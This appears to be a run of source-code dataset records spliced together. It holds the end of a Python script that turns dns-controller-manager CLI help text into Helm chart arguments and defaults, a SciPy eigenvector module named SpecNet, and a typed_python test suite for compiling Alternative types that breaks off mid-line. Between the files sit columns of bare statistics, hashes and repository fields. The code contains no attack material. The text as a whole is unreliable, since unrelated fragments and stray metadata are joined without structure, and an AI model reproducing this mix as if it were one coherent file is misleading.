--config string config file -c, --controllers string comma separated list of controllers to start (<name>,<group>,all) (default "all") --cpuprofile string set file for cpu profiling --default.pool.resync-period duration Period for resynchronization for pool default --default.pool.size int Worker pool size for pool default --disable-namespace-restriction disable access restriction for namespace local access only --disable-zone-state-caching disable use of cached dns zone state on changes --dns-class string Class identifier used to differentiate responsible controllers for entry resources --dns-delay duration delay between two dns reconciliations --dns-target-class string identifier used to differentiate responsible dns controllers for target entries --dns.pool.resync-period duration Period for resynchronization for pool dns --dns.pool.size int Worker pool size for pool dns --dnsentry-source.default.pool.resync-period duration Period for resynchronization for pool default of controller dnsentry-source (default 2m0s) --dnsentry-source.default.pool.size int Worker pool size for pool default of controller dnsentry-source (default 2) --dnsentry-source.dns-class string identifier used to differentiate responsible controllers for entries of controller dnsentry-source (default "gardendns") --dnsentry-source.dns-target-class string identifier used to differentiate responsible dns controllers for target entries of controller dnsentry-source --dnsentry-source.exclude-domains stringArray excluded domains of controller dnsentry-source --dnsentry-source.key string selecting key for annotation of controller dnsentry-source --dnsentry-source.pool.resync-period duration Period for resynchronization of controller dnsentry-source --dnsentry-source.pool.size int Worker pool size of controller dnsentry-source --dnsentry-source.target-creator-label-name string label name to store the creator for generated DNS entries of controller dnsentry-source (default "creator") --dnsentry-source.target-creator-label-value string label value for creator label of controller dnsentry-source --dnsentry-source.target-name-prefix string name prefix in target namespace for cross cluster generation of controller dnsentry-source --dnsentry-source.target-namespace string target namespace for cross cluster generation of controller dnsentry-source --dnsentry-source.target-owner-id string owner id to use for generated DNS entries of controller dnsentry-source --dnsentry-source.target-realms string realm(s) to use for generated DNS entries of controller dnsentry-source --dnsentry-source.target-set-ignore-owners mark generated DNS entries to omit owner based access control of controller dnsentry-source --dnsentry-source.targets.pool.size int Worker pool size for pool targets of controller dnsentry-source (default 2) --dry-run just check, don't modify --exclude-domains stringArray excluded domains --force-crd-update enforce update of crds even they are unmanaged --google-clouddns.cache-dir string Directory to store zone caches (for reload after restart) of controller google-clouddns --google-clouddns.cache-ttl int Time-to-live for provider hosted zone cache of controller google-clouddns (default 120) --google-clouddns.default.pool.size int Worker pool size for pool default of controller google-clouddns (default 2) --google-clouddns.disable-zone-state-caching disable use of cached dns zone state on changes of controller google-clouddns --google-clouddns.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller google-clouddns (default "gardendns") --google-clouddns.dns-delay duration delay between two dns reconciliations of controller google-clouddns (default 10s) --google-clouddns.dns.pool.resync-period duration Period for resynchronization for pool dns of controller google-clouddns (default 15m0s) --google-clouddns.dns.pool.size int Worker pool size for pool dns of controller google-clouddns (default 1) --google-clouddns.dry-run just check, don't modify of controller google-clouddns --google-clouddns.identifier string Identifier used to mark DNS entries in DNS system of controller google-clouddns (default "dnscontroller") --google-clouddns.ownerids.pool.size int Worker pool size for pool ownerids of controller google-clouddns (default 1) --google-clouddns.pool.resync-period duration Period for resynchronization of controller google-clouddns --google-clouddns.pool.size int Worker pool size of controller google-clouddns --google-clouddns.providers.pool.resync-period duration Period for resynchronization for pool providers of controller google-clouddns (default 10m0s) --google-clouddns.providers.pool.size int Worker pool size for pool providers of controller google-clouddns (default 2) --google-clouddns.ratelimiter.burst int number of burst requests for rate limiter of controller google-clouddns --google-clouddns.ratelimiter.enabled enables rate limiter for DNS provider requests of controller google-clouddns --google-clouddns.ratelimiter.qps int maximum requests/queries per second of controller google-clouddns --google-clouddns.reschedule-delay duration reschedule delay after losing provider of controller google-clouddns (default 2m0s) --google-clouddns.secrets.pool.size int Worker pool size for pool secrets of controller google-clouddns (default 2) --google-clouddns.setup int number of processors for controller setup of controller google-clouddns (default 10) --google-clouddns.statistic.pool.size int Worker pool size for pool statistic of controller google-clouddns (default 1) --google-clouddns.ttl int Default time-to-live for DNS entries of controller google-clouddns (default 300) --grace-period duration inactivity grace period for detecting end of cleanup for shutdown -h, --help help for dns-controller-manager --identifier string Identifier used to mark DNS entries in DNS system --infoblox-dns.cache-dir string Directory to store zone caches (for reload after restart) of controller infoblox-dns --infoblox-dns.cache-ttl int Time-to-live for provider hosted zone cache of controller infoblox-dns (default 120) --infoblox-dns.default.pool.size int Worker pool size for pool default of controller infoblox-dns (default 2) --infoblox-dns.disable-zone-state-caching disable use of cached dns zone state on changes of controller infoblox-dns --infoblox-dns.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller infoblox-dns (default "gardendns") --infoblox-dns.dns-delay duration delay between two dns reconciliations of controller infoblox-dns (default 10s) --infoblox-dns.dns.pool.resync-period duration Period for resynchronization for pool dns of controller infoblox-dns (default 15m0s) --infoblox-dns.dns.pool.size int Worker pool size for pool dns of controller infoblox-dns (default 1) --infoblox-dns.dry-run just check, don't modify of controller infoblox-dns --infoblox-dns.identifier string Identifier used to mark DNS entries in DNS system of controller infoblox-dns (default "dnscontroller") --infoblox-dns.ownerids.pool.size int Worker pool size for pool ownerids of controller infoblox-dns (default 1) --infoblox-dns.pool.resync-period duration Period for resynchronization of controller infoblox-dns --infoblox-dns.pool.size int Worker pool size of controller infoblox-dns --infoblox-dns.providers.pool.resync-period duration Period for resynchronization for pool providers of controller infoblox-dns (default 10m0s) --infoblox-dns.providers.pool.size int Worker pool size for pool providers of controller infoblox-dns (default 2) --infoblox-dns.ratelimiter.burst int number of burst requests for rate limiter of controller infoblox-dns --infoblox-dns.ratelimiter.enabled enables rate limiter for DNS provider requests of controller infoblox-dns --infoblox-dns.ratelimiter.qps int maximum requests/queries per second of controller infoblox-dns --infoblox-dns.reschedule-delay duration reschedule delay after losing provider of controller infoblox-dns (default 2m0s) --infoblox-dns.secrets.pool.size int Worker pool size for pool secrets of controller infoblox-dns (default 2) --infoblox-dns.setup int number of processors for controller setup of controller infoblox-dns (default 10) --infoblox-dns.statistic.pool.size int Worker pool size for pool statistic of controller infoblox-dns (default 1) --infoblox-dns.ttl int Default time-to-live for DNS entries of controller infoblox-dns (default 300) --ingress-dns.default.pool.resync-period duration Period for resynchronization for pool default of controller ingress-dns (default 2m0s) --ingress-dns.default.pool.size int Worker pool size for pool default of controller ingress-dns (default 2) --ingress-dns.dns-class string identifier used to differentiate responsible controllers for entries of controller ingress-dns (default "gardendns") --ingress-dns.dns-target-class string identifier used to differentiate responsible dns controllers for target entries of controller ingress-dns --ingress-dns.exclude-domains stringArray excluded domains of controller ingress-dns --ingress-dns.key string selecting key for annotation of controller ingress-dns --ingress-dns.pool.resync-period duration Period for resynchronization of controller ingress-dns --ingress-dns.pool.size int Worker pool size of controller ingress-dns --ingress-dns.target-creator-label-name string label name to store the creator for generated DNS entries of controller ingress-dns (default "creator") --ingress-dns.target-creator-label-value string label value for creator label of controller ingress-dns --ingress-dns.target-name-prefix string name prefix in target namespace for cross cluster generation of controller ingress-dns --ingress-dns.target-namespace string target namespace for cross cluster generation of controller ingress-dns --ingress-dns.target-owner-id string owner id to use for generated DNS entries of controller ingress-dns --ingress-dns.target-realms string realm(s) to use for generated DNS entries of controller ingress-dns --ingress-dns.target-set-ignore-owners mark generated DNS entries to omit owner based access control of controller ingress-dns --ingress-dns.targets.pool.size int Worker pool size for pool targets of controller ingress-dns (default 2) --key string selecting key for annotation --kubeconfig string default cluster access --kubeconfig.disable-deploy-crds disable deployment of required crds for cluster default --kubeconfig.id string id for cluster default --lease-duration duration lease duration (default 15s) --lease-name string name for lease object --lease-renew-deadline duration lease renew deadline (default 10s) --lease-retry-period duration lease retry period (default 2s) -D, --log-level string logrus log level --maintainer string maintainer key for crds (default "dns-controller-manager") --name string name used for controller manager (default "dns-controller-manager") --namespace string namespace for lease (default "kube-system") -n, --namespace-local-access-only enable access restriction for namespace local access only (deprecated) --omit-lease omit lease for development --openstack-designate.cache-dir string Directory to store zone caches (for reload after restart) of controller openstack-designate --openstack-designate.cache-ttl int Time-to-live for provider hosted zone cache of controller openstack-designate (default 120) --openstack-designate.default.pool.size int Worker pool size for pool default of controller openstack-designate (default 2) --openstack-designate.disable-zone-state-caching disable use of cached dns zone state on changes of controller openstack-designate --openstack-designate.dns-class string Class identifier used to differentiate responsible controllers for entry resources of controller openstack-designate (default "gardendns") --openstack-designate.dns-delay duration delay between two dns reconciliations of controller openstack-designate (default 10s) --openstack-designate.dns.pool.resync-period duration Period for resynchronization for pool dns of controller openstack-designate (default 15m0s) --openstack-designate.dns.pool.size int Worker pool size for pool dns of controller openstack-designate (default 1) --openstack-designate.dry-run just check, don't modify of controller openstack-designate --openstack-designate.identifier string Identifier used to mark DNS entries in DNS system of controller openstack-designate (default "dnscontroller") --openstack-designate.ownerids.pool.size int Worker pool size for pool ownerids of controller openstack-designate (default 1) --openstack-designate.pool.resync-period duration Period for resynchronization of controller openstack-designate --openstack-designate.pool.size int Worker pool size of controller openstack-designate --openstack-designate.providers.pool.resync-period duration Period for resynchronization for pool providers of controller openstack-designate (default 10m0s) --openstack-designate.providers.pool.size int Worker pool size for pool providers of controller openstack-designate (default 2) --openstack-designate.ratelimiter.burst int number of burst requests for rate limiter of controller openstack-designate --openstack-designate.ratelimiter.enabled enables rate limiter for DNS provider requests of controller openstack-designate --openstack-designate.ratelimiter.qps int maximum requests/queries per second of controller openstack-designate --openstack-designate.reschedule-delay duration reschedule delay after losing provider of controller openstack-designate (default 2m0s) --openstack-designate.secrets.pool.size int Worker pool size for pool secrets of controller openstack-designate (default 2) --openstack-designate.setup int number of processors for controller setup of controller openstack-designate (default 10) --openstack-designate.statistic.pool.size int Worker pool size for pool statistic of controller openstack-designate (default 1) --openstack-designate.ttl int Default time-to-live for DNS entries of controller openstack-designate (default 300) --ownerids.pool.size int Worker pool size for pool ownerids --plugin-file string directory containing go plugins --pool.resync-period duration Period for resynchronization --pool.size int Worker pool size --providers string cluster to look for provider objects --providers.disable-deploy-crds disable deployment of required crds for cluster provider --providers.id string id for cluster provider --providers.pool.resync-period duration Period for resynchronization for pool providers --providers.pool.size int Worker pool size for pool providers --ratelimiter.burst int number of burst requests for rate limiter --ratelimiter.enabled enables rate limiter for DNS provider requests --ratelimiter.qps int maximum requests/queries per second --reschedule-delay duration reschedule delay after losing provider --secrets.pool.size int Worker pool size for pool secrets --server-port-http int HTTP server port (serving /healthz, /metrics, ...) --service-dns.default.pool.resync-period duration Period for resynchronization for pool default of controller service-dns (default 2m0s) --service-dns.default.pool.size int Worker pool size for pool default of controller service-dns (default 2) --service-dns.dns-class string identifier used to differentiate responsible controllers for entries of controller service-dns (default "gardendns") --service-dns.dns-target-class string identifier used to differentiate responsible dns controllers for target entries of controller service-dns --service-dns.exclude-domains stringArray excluded domains of controller service-dns --service-dns.key string selecting key for annotation of controller service-dns --service-dns.pool.resync-period duration Period for resynchronization of controller service-dns --service-dns.pool.size int Worker pool size of controller service-dns --service-dns.target-creator-label-name string label name to store the creator for generated DNS entries of controller service-dns (default "creator") --service-dns.target-creator-label-value string label value for creator label of controller service-dns --service-dns.target-name-prefix string name prefix in target namespace for cross cluster generation of controller service-dns --service-dns.target-namespace string target namespace for cross cluster generation of controller service-dns --service-dns.target-owner-id string owner id to use for generated DNS entries of controller service-dns --service-dns.target-realms string realm(s) to use for generated DNS entries of controller service-dns --service-dns.target-set-ignore-owners mark generated DNS entries to omit owner based access control of controller service-dns --service-dns.targets.pool.size int Worker pool size for pool targets of controller service-dns (default 2) --setup int number of processors for controller setup --statistic.pool.size int Worker pool size for pool statistic --target string target cluster for dns requests --target-creator-label-name string label name to store the creator for generated DNS entries --target-creator-label-value string label value for creator label --target-name-prefix string name prefix in target namespace for cross cluster generation --target-namespace string target namespace for cross cluster generation --target-owner-id string owner id to use for generated DNS entries --target-realms string realm(s) to use for generated DNS entries --target-set-ignore-owners mark generated DNS entries to omit owner based access control --target.disable-deploy-crds disable deployment of required crds for cluster target --target.id string id for cluster target --targets.pool.size int Worker pool size for pool targets --ttl int Default time-to-live for DNS entries --version version for dns-controller-manager """ def toCamelCase(name): str = ''.join(x.capitalize() for x in re.split("[.-]", name)) str = str[0].lower() + str[1:] str = str.replace("alicloudDns", "alicloudDNS") str = str.replace("azureDns", "azureDNS") str = str.replace("googleClouddns", "googleCloudDNS") str = str.replace("ingressDns", "ingressDNS") str = str.replace("serviceDns", "serviceDNS") str = str.replace("googleClouddns", "googleCloudDNS") str = str.replace("cloudflareDns", "cloudflareDNS") str = str.replace("infobloxDns", "infobloxDNS") return str excluded = {"name", "help", "identifier", "dry-run", "cache-dir", "alicloud-dns.cache-dir", "aws-route53.cache-dir", "azure-dns.cache-dir", "google-clouddns.cache-dir", "openstack-designate.cache-dir", "cloudflare-dns.cache-dir", "infoblox-dns.cache-dir"} for line in options.split("\n"): m = re.match(r"\s+(?:-[^-]+)?--(\S+)\s", line) if m: name = m.group(1) if name != "" and not name in excluded: camelCase = toCamelCase(name) txt = """ {{- if .Values.configuration.%s }} - --%s={{ .Values.configuration.%s }} {{- end }}""" % (camelCase, name, camelCase) print(txt) defaultValues = { "controllers": "all", "persistentCache": "false", "persistentCacheStorageSize": "1Gi", "persistentCacheStorageSizeAlicloud": "20Gi", "serverPortHttp": "8080", "ttl": 120, } print("configuration:") for line in options.split("\n"): m = re.match(r"\s+(?:-[^-]+)?--(\S+)\s", line) if m: name = m.group(1) if name != "" and not name in excluded: camelCase = toCamelCase(name) if camelCase in defaultValues: txt = " %s: %s" % (camelCase, defaultValues[camelCase]) else: txt = "# %s:" % camelCase print(txt)
118.349112
206
0.616094
4,429
40,002
5.564462
0.059833
0.103226
0.030351
0.046906
0.864192
0.820937
0.769487
0.735362
0.640292
0.605721
0
0.010943
0.323784
40,002
337
207
118.700297
0.900148
0.003125
0
0.04908
1
0.496933
0.97151
0.17929
0
0
0
0
0
1
0.003067
false
0
0.003067
0
0.009202
0.009202
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
1
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
c0ba6ac06ceef3682a8befe7d766810cd4e4e564
1,439
py
Python
python/ConvertFuncs.py
ziyuchen7/SpecNet2
ae814e6e1e9a823bd221394a566c461fac6d0a59
[ "MIT" ]
null
null
null
python/ConvertFuncs.py
ziyuchen7/SpecNet2
ae814e6e1e9a823bd221394a566c461fac6d0a59
[ "MIT" ]
null
null
null
python/ConvertFuncs.py
ziyuchen7/SpecNet2
ae814e6e1e9a823bd221394a566c461fac6d0a59
[ "MIT" ]
null
null
null
import numpy as np import scipy.linalg as la def iterator_convert_specnet1(Y, matdata): W = np.double(matdata.Wmat().numpy()) D = np.double(matdata.Dmat().numpy()) Y = np.double(Y.numpy()) WY = np.matmul(W, Y) DY = np.multiply(D, Y) YWY = np.matmul(Y.T, WY) YDY = np.matmul(Y.T, DY) # YWY = (YWY + YWY.T)/2 # YDY = (YDY + YDY.T)/2 evals, evecs = la.eigh(YWY, YDY, driver = 'gv') sorted_indices = np.argsort(evals)[::-1] evals = evals[sorted_indices] evecs = evecs[:,sorted_indices] evecs = evecs * matdata.Size() U = np.matmul(Y, evecs) return U, evals, evecs # def iterator_convert_specnet1(X, matdata): # D = np.double(matdata.Dmat().numpy()) # Y = np.multiply(1./np.sqrt(D),X) # U, evals, evecs = iterator_convert_specnet2(Y, matdata) # return U, evals, evecs def iterator_convert_specnet2(Y, matdata): W = np.double(matdata.Wmat().numpy()) D = np.double(matdata.Dmat().numpy()) Y = np.double(Y.numpy()) WY = np.matmul(W, Y) DY = np.multiply(D, Y) YWY = np.matmul(Y.T, WY) YDY = np.matmul(Y.T, DY) # YWY = (YWY + YWY.T)/2 # YDY = (YDY + YDY.T)/2 evals, evecs = la.eigh(YWY, YDY, driver = 'gv') sorted_indices = np.argsort(evals)[::-1] evals = evals[sorted_indices] evecs = evecs[:,sorted_indices] evecs = evecs * matdata.Size() U = np.matmul(Y, evecs) return U, evals, evecs
27.673077
61
0.594858
221
1,439
3.809955
0.18552
0.07601
0.064133
0.047506
0.874109
0.827791
0.827791
0.764846
0.731591
0.731591
0
0.009946
0.231411
1,439
51
62
28.215686
0.751356
0.206393
0
0.875
0
0
0.003534
0
0
0
0
0
0
1
0.0625
false
0
0.0625
0
0.1875
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9e666343a585ef4471a2ba4e845c2d3e3592b4e8
51,198
py
Python
typed_python/compiler/tests/alternative_compilation_test.py
APrioriInvestments/typed_python
a3191e5d30333eba156c2a910abc78f7813dcaa3
[ "Apache-2.0" ]
105
2019-12-02T01:44:46.000Z
2022-03-28T20:27:38.000Z
typed_python/compiler/tests/alternative_compilation_test.py
APrioriInvestments/typed_python
a3191e5d30333eba156c2a910abc78f7813dcaa3
[ "Apache-2.0" ]
173
2019-10-08T19:37:06.000Z
2022-01-24T18:43:42.000Z
typed_python/compiler/tests/alternative_compilation_test.py
APrioriInvestments/typed_python
a3191e5d30333eba156c2a910abc78f7813dcaa3
[ "Apache-2.0" ]
1
2020-01-23T00:06:42.000Z
2020-01-23T00:06:42.000Z
# Copyright 2017-2019 typed_python Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typed_python import ( TypeFunction, Int16, UInt64, Float32, Alternative, Forward, Dict, ConstDict, ListOf, Compiled, OneOf ) import typed_python._types as _types from typed_python import Entrypoint import unittest import pytest import time import psutil from math import trunc, floor, ceil class TestAlternativeCompilation(unittest.TestCase): def test_default_constructor(self): @Entrypoint def setIt(d, x): return d.setdefault(x) Simple = Alternative("Simple", A={}, B={}, C={}) Complex = Alternative("Complex", A=dict(x=str), B=dict(x=str, y=float), C={}) assert setIt(Dict(int, Simple)(), 10).matches.A assert setIt(Dict(int, Complex)(), 10).matches.A def test_simple_alternative_passing(self): Simple = Alternative("Simple", A={}, B={}, C={}) @Compiled def f(s: Simple): y = s return y self.assertEqual(f(Simple.A()), Simple.A()) self.assertEqual(f(Simple.B()), Simple.B()) self.assertEqual(f(Simple.C()), Simple.C()) def test_complex_alternative_passing(self): Complex = Forward("Complex") Complex = Complex.define(Alternative( "Complex", A={'a': str, 'b': int}, B={'a': str, 'c': int}, C={'a': str, 'd': Complex} )) c = Complex.A(a="hi", b=20) c2 = Complex.C(a="hi", d=c) @Compiled def f(c: Complex): y = c return y self.assertEqual(f(c), c) self.assertEqual(f(c2), c2) self.assertEqual(_types.refcount(c), 2) self.assertEqual(_types.refcount(c2), 1) def test_construct_alternative(self): A = Alternative("A", X={'x': int}) @Compiled def f(): return A.X(x=10) self.assertTrue(f().matches.X) self.assertEqual(f().x, 10) def test_alternative_matches(self): A = Alternative("A", X={'x': int}, Y={'x': int}) @Compiled def f(x: A): return x.matches.X self.assertTrue(f(A.X())) self.assertFalse(f(A.Y())) def test_alternative_member_homogenous(self): A = Alternative("A", X={'x': int}, Y={'x': int}) @Compiled def f(x: A): return x.x self.assertEqual(f(A.X(x=10)), 10) self.assertEqual(f(A.Y(x=10)), 10) def test_alternative_member_diverse(self): A = Alternative("A", X={'x': int}, Y={'x': float}) @Compiled def f(x: A): return x.x self.assertEqual(f(A.X(x=10)), 10) self.assertEqual(f(A.Y(x=10.5)), 10.5) def test_alternative_member_distinct(self): A = Alternative("A", X={'x': int}, Y={'y': float}) @Compiled def f(x: A): if x.matches.X: return x.x if x.matches.Y: return x.y self.assertEqual(f(A.X(x=10)), 10) self.assertEqual(f(A.Y(y=10.5)), 10.5) def test_matching_recursively(self): @TypeFunction def Tree(T): TreeType = Forward("TreeType") TreeType = TreeType.define(Alternative( "Tree", Leaf={'value': T}, Node={'left': TreeType, 'right': TreeType} )) return TreeType def treeSum(x: Tree(int)): matches = x.matches.Leaf if matches: return x.value if x.matches.Node: return treeSum(x.left) + treeSum(x.right) return 0 def buildTree(depth: int, offset: int) -> Tree(int): if depth > 0: return Tree(int).Node( left=buildTree(depth-1, offset), right=buildTree(depth-1, offset+1), ) return Tree(int).Leaf(value=offset) aTree = Compiled(buildTree)(15, 0) treeSumCompiled = Compiled(treeSum) t0 = time.time() sum = treeSum(aTree) t1 = time.time() sumCompiled = treeSumCompiled(aTree) t2 = time.time() self.assertEqual(sum, sumCompiled) speedup = (t1-t0)/(t2-t1) self.assertGreater(speedup, 20) # I get about 50 def test_compile_alternative_magic_methods(self): A = Alternative("A", a={'a': int}, b={'b': str}, __bool__=lambda self: False, __str__=lambda self: "my str", __repr__=lambda self: "my repr", __call__=lambda self, i: "my call", __len__=lambda self: 42, __contains__=lambda self, item: item == 1, __bytes__=lambda self: b'my bytes', __format__=lambda self, spec: "my format", __int__=lambda self: 43, __float__=lambda self: 44.44, __complex__=lambda self: 3+4j, __add__=lambda self, other: A.b("add"), __sub__=lambda self, other: A.b("sub"), __mul__=lambda self, other: A.b("mul"), __matmul__=lambda self, other: A.b("matmul"), __truediv__=lambda self, other: A.b("truediv"), __floordiv__=lambda self, other: A.b("floordiv"), __divmod__=lambda self, other: A.b("divmod"), __mod__=lambda self, other: A.b("mod"), __pow__=lambda self, other: A.b("pow"), __lshift__=lambda self, other: A.b("lshift"), __rshift__=lambda self, other: A.b("rshift"), __and__=lambda self, other: A.b("and"), __or__=lambda self, other: A.b("or"), __xor__=lambda self, other: A.b("xor"), __iadd__=lambda self, other: A.b("iadd"), __isub__=lambda self, other: A.b("isub"), __imul__=lambda self, other: A.b("imul"), __imatmul__=lambda self, other: A.b("imatmul"), __itruediv__=lambda self, other: A.b("itruediv"), __ifloordiv__=lambda self, other: A.b("ifloordiv"), __imod__=lambda self, other: A.b("imod"), __ipow__=lambda self, other: A.b("ipow"), __ilshift__=lambda self, other: A.b("ilshift"), __irshift__=lambda self, other: A.b("irshift"), __iand__=lambda self, other: A.b("iand"), __ior__=lambda self, other: A.b("ior"), __ixor__=lambda self, other: A.b("ixor"), __neg__=lambda self: A.b("neg"), __pos__=lambda self: A.b("pos"), __invert__=lambda self: A.b("invert"), __abs__=lambda self: A.b("abs"), ) def f_bool(x: A): return bool(x) def f_str(x: A): return str(x) def f_repr(x: A): return repr(x) def f_call(x: A): return x(1) def f_1in(x: A): return 1 in x def f_0in(x: A): return 0 in x def f_len(x: A): return len(x) def f_int(x: A): return int(x) def f_float(x: A): return float(x) def f_add(x: A): return x + A.a() def f_sub(x: A): return x - A.a() def f_mul(x: A): return x * A.a() def f_div(x: A): return x / A.a() def f_floordiv(x: A): return x // A.a() def f_matmul(x: A): return x @ A.a() def f_mod(x: A): return x % A.a() def f_and(x: A): return x & A.a() def f_or(x: A): return x | A.a() def f_xor(x: A): return x ^ A.a() def f_rshift(x: A): return x >> A.a() def f_lshift(x: A): return x << A.a() def f_pow(x: A): return x ** A.a() def f_neg(x: A): return -x def f_pos(x: A): return +x def f_invert(x: A): return ~x def f_abs(x: A): return abs(x) def f_iadd(x: A): x += A.a() return x def f_isub(x: A): x -= A.a() return x def f_imul(x: A): x *= A.a() return x def f_idiv(x: A): x /= A.a() return x def f_ifloordiv(x: A): x //= A.a() return x def f_imatmul(x: A): x @= A.a() return x def f_imod(x: A): x %= A.a() return x def f_iand(x: A): x &= A.a() return x def f_ior(x: A): x |= A.a() return x def f_ixor(x: A): x ^= A.a() return x def f_irshift(x: A): x >>= A.a() return x def f_ilshift(x: A): x <<= A.a() return x def f_ipow(x: A): x **= A.a() return x test_cases = [f_int, f_float, f_bool, f_str, f_repr, f_call, f_0in, f_1in, f_len, f_add, f_sub, f_mul, f_div, f_floordiv, f_matmul, f_mod, f_and, f_or, f_xor, f_rshift, f_lshift, f_pow, f_neg, f_pos, f_invert, f_abs, f_iadd, f_isub, f_imul, f_idiv, f_ifloordiv, f_imatmul, f_imod, f_iand, f_ior, f_ixor, f_irshift, f_ilshift, f_ipow] for f in test_cases: compiled_f = Compiled(f) r1 = f(A.a()) r2 = compiled_f(A.a()) if r1 != r2: print("mismatch") self.assertEqual(r1, r2) def test_compile_alternative_reverse_methods(self): A = Alternative("A", a={'a': int}, b={'b': str}, __radd__=lambda self, other: "radd" + repr(other), __rsub__=lambda self, other: "rsub" + repr(other), __rmul__=lambda self, other: "rmul" + repr(other), __rmatmul__=lambda self, other: "rmatmul" + repr(other), __rtruediv__=lambda self, other: "rtruediv" + repr(other), __rfloordiv__=lambda self, other: "rfloordiv" + repr(other), __rmod__=lambda self, other: "rmod" + repr(other), __rpow__=lambda self, other: "rpow" + repr(other), __rlshift__=lambda self, other: "rlshift" + repr(other), __rrshift__=lambda self, other: "rrshift" + repr(other), __rand__=lambda self, other: "rand" + repr(other), __rxor__=lambda self, other: "rxor" + repr(other), __ror__=lambda self, other: "ror" + repr(other), ) values = [1, Int16(1), UInt64(1), 1.234, Float32(1.234), True, "abc", ListOf(int)((1, 2)), ConstDict(str, str)({"a": "1"})] for v in values: T = type(v) def f_radd(v: T, x: A): return v + x def f_rsub(v: T, x: A): return v - x def f_rmul(v: T, x: A): return v * x def f_rmatmul(v: T, x: A): return v @ x def f_rtruediv(v: T, x: A): return v * x def f_rfloordiv(v: T, x: A): return v * x def f_rmod(v: T, x: A): return v * x def f_rpow(v: T, x: A): return v * x def f_rlshift(v: T, x: A): return v * x def f_rrshift(v: T, x: A): return v * x def f_rand(v: T, x: A): return v * x def f_rxor(v: T, x: A): return v * x def f_ror(v: T, x: A): return v * x for f in [f_radd, f_rsub, f_rmul, f_rmatmul, f_rtruediv, f_rfloordiv, f_rmod, f_rpow, f_rlshift, f_rrshift, f_rand, f_rxor, f_ror]: r1 = f(v, A.a()) compiled_f = Compiled(f) r2 = compiled_f(v, A.a()) self.assertEqual(r1, r2) def test_compile_alternative_format(self): A1 = Alternative("A1", a={'a': int}, b={'b': str}) A2 = Alternative("A2", a={'a': int}, b={'b': str}, __str__=lambda self: "my str" ) A3 = Alternative("A3", a={'a': int}, b={'b': str}, __format__=lambda self, spec: "my format " + spec ) def a1_format(x: A1): return format(x) def a2_format(x: A2): return format(x) def a3_format(x: A3): return format(x) def a3_format_spec(x: A3): return format(x, "spec") r1 = a1_format(A1.a()) c1_format = Compiled(a1_format) r2 = c1_format(A1.a()) self.assertEqual(r1, r2) r1 = a2_format(A2.a()) c2_format = Compiled(a2_format) r2 = c2_format(A2.a()) self.assertEqual(r1, r2) r1 = a3_format(A3.a()) c3_format = Compiled(a3_format) r2 = c3_format(A3.a()) self.assertEqual(r1, r2) r1 = a3_format_spec(A3.a()) c3_format_spec = Compiled(a3_format_spec) r2 = c3_format_spec(A3.a()) self.assertEqual(r1, r2) # This failed when I forgot to support ConcreteAlternativeWrappers @Entrypoint def specialized_format(x): return format(x) test_values = [A1.a(), A1.b(), A2.a(), A2.b(), A3.a(), A3.b()] for v in test_values: r1 = format(v) r2 = specialized_format(v) self.assertEqual(r1, r2, type(v)) def test_compile_alternative_bytes(self): A = Alternative("A", a={'a': int}, b={'b': str}, __bytes__=lambda self: b'my bytes' ) def f_bytes(x: A): return bytes(x) v = A.a() r1 = f_bytes(v) c_f = Compiled(f_bytes) r2 = c_f(v) self.assertEqual(r1, r2) def test_compile_alternative_attr(self): def A_getattr(self, n): return self.d[n] def A_setattr(self, n, v): self.d[n] = v def A_delattr(self, n): del self.d[n] A = Alternative("A", a={'d': Dict(str, str), 'i': int}, __getattr__=A_getattr, __setattr__=A_setattr, __delattr__=A_delattr ) def f_getattr1(x: A): return x.q def f_getattr2(x: A): return x.z def f_setattr1(x: A, s: str): x.q = s def f_setattr2(x: A, s: str): x.z = s def f_delattr1(x: A): del x.q def f_delattr2(x: A): del x.z c_getattr1 = Compiled(f_getattr1) c_getattr2 = Compiled(f_getattr2) c_setattr1 = Compiled(f_setattr1) c_setattr2 = Compiled(f_setattr2) c_delattr1 = Compiled(f_delattr1) c_delattr2 = Compiled(f_delattr2) for v in [A.a()]: f_setattr1(v, "0") f_setattr2(v, "0") self.assertEqual(f_getattr1(v), "0") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "0") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_setattr1(v, "1") self.assertEqual(f_getattr1(v), "1") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "0") self.assertEqual(f_getattr2(v), c_getattr2(v)) c_setattr1(v, "2") self.assertEqual(f_getattr1(v), "2") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "0") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_setattr2(v, "3") self.assertEqual(f_getattr1(v), "2") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "3") self.assertEqual(f_getattr2(v), c_getattr2(v)) c_setattr2(v, "4") self.assertEqual(f_getattr1(v), "2") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "4") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_delattr1(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(KeyError): c_getattr1(v) self.assertEqual(f_getattr2(v), "4") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_delattr2(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(KeyError): c_getattr1(v) with self.assertRaises(KeyError): f_getattr2(v) with self.assertRaises(KeyError): c_getattr2(v) f_setattr1(v, "5") f_setattr2(v, "6") c_delattr1(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(KeyError): c_getattr1(v) self.assertEqual(f_getattr2(v), "6") self.assertEqual(f_getattr2(v), c_getattr2(v)) c_delattr2(v) with self.assertRaises(KeyError): f_getattr1(v) with 